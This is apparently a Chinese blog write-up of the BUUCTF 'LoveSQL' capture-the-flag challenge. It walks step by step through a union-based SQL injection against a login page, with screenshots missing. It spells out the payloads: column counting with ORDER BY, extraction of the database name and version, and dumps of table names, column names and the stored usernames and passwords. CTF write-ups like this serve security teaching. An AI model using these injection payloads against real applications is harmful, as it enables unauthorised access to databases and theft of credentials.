BUUCTF之[极客大挑战 2019]LoveSQL

1.题:
在这里插入图片描述

2.题样:
在这里插入图片描述

3.万能用户或者万能密码,也可以bp:
在这里插入图片描述
在这里插入图片描述

提交试试,不对。看题目是简单的SQL注入。
4.http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%2010%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%205%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%203%23%23&password=1
在这里插入图片描述

http://ae846ab2-f07a-4986-9766-c4fb867dc32e.node3.buuoj.cn/check.php?username=1%27order%20by%204%23%23&password=1
在这里插入图片描述

测试出字段为3.
可用字段,2,3:
在这里插入图片描述

查询数据库,版本等:
union select 1,database(),version()%23&password=1
在这里插入图片描述

数据库为geek。
爆表:
username=1’union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()%23&password=1
在这里插入图片描述

首先geekuser表,爆字段:
username=1’union select 1,group_concat(column_name),version() from information_schema.columns where table_name=‘geekuser’%23&password=1
在这里插入图片描述

查询内容:
username=1’union select 1,group_concat(username),password from ‘geekuser’%23&password=1
在这里插入图片描述

username=1’union select 1,group_concat(id),password from geekuser%23&password=1
在这里插入图片描述

提交的password,不对。看看另外一张表l0ve1ysq1:
username=1’union select 1,group_concat(column_name),version() from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=1
在这里插入图片描述

username=1’union select 1,group_concat(username),password from l0ve1ysq1%23&password=1
在这里插入图片描述

username=1’union select 1,username,group_concat(password) from l0ve1ysq1 where username=‘flag’%23&password=1
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值